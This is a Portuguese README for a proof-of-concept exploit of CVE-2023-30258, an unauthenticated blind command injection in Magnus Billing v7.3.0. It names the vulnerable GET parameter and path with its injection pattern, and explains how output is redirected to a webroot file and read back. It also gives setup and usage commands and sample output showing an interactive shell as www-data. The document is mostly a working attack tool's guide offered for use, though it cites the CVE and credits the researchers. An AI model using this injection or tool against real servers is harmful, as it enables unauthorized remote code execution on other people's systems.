CVE-2023-30258 — Injeção de Comando no Magnus Billing v7 (PoC)

Vulnerabilidade de injeção de comando não autenticada no Magnus Billing v7.3.0. O parâmetro GET democ em icepay.php é passado diretamente para uma função shell sem sanitização, permitindo execução arbitrária de comandos como o usuário do servidor web. A injeção é cega — a saída não é refletida na resposta HTTP — então este exploit redireciona a saída de cada comando para um arquivo no webroot e o busca de volta via HTTP.

Como funciona

1. Envia uma requisição GET para /mbilling/lib/icepay/icepay.php?democ=;<command>;.
2. Redireciona a saída do comando para um arquivo dentro do webroot (out.txt).
3. Busca o arquivo de saída via HTTP e exibe o resultado.
4. Remove o arquivo de saída ao sair.

Se o alvo usar um caminho de webroot diferente, ajuste OUTPUT_FILE no início do script.

Requisitos

• Python 3
• Instale as dependências:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit

Uso

python3 exploit.py -t http://TARGET

Exemplo:

$ python3 exploit.py -t http://10.10.10.10
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> whoami
www-data

Referências

• CVE-2023-30258
• EDB-52170
• PoC original por Tinashe Matanda

Créditos

• Descoberta e exploit original: Tinashe Matanda (SadNinja) / CodeSecLab
• Limpeza e shell interativo: Esteban Zárate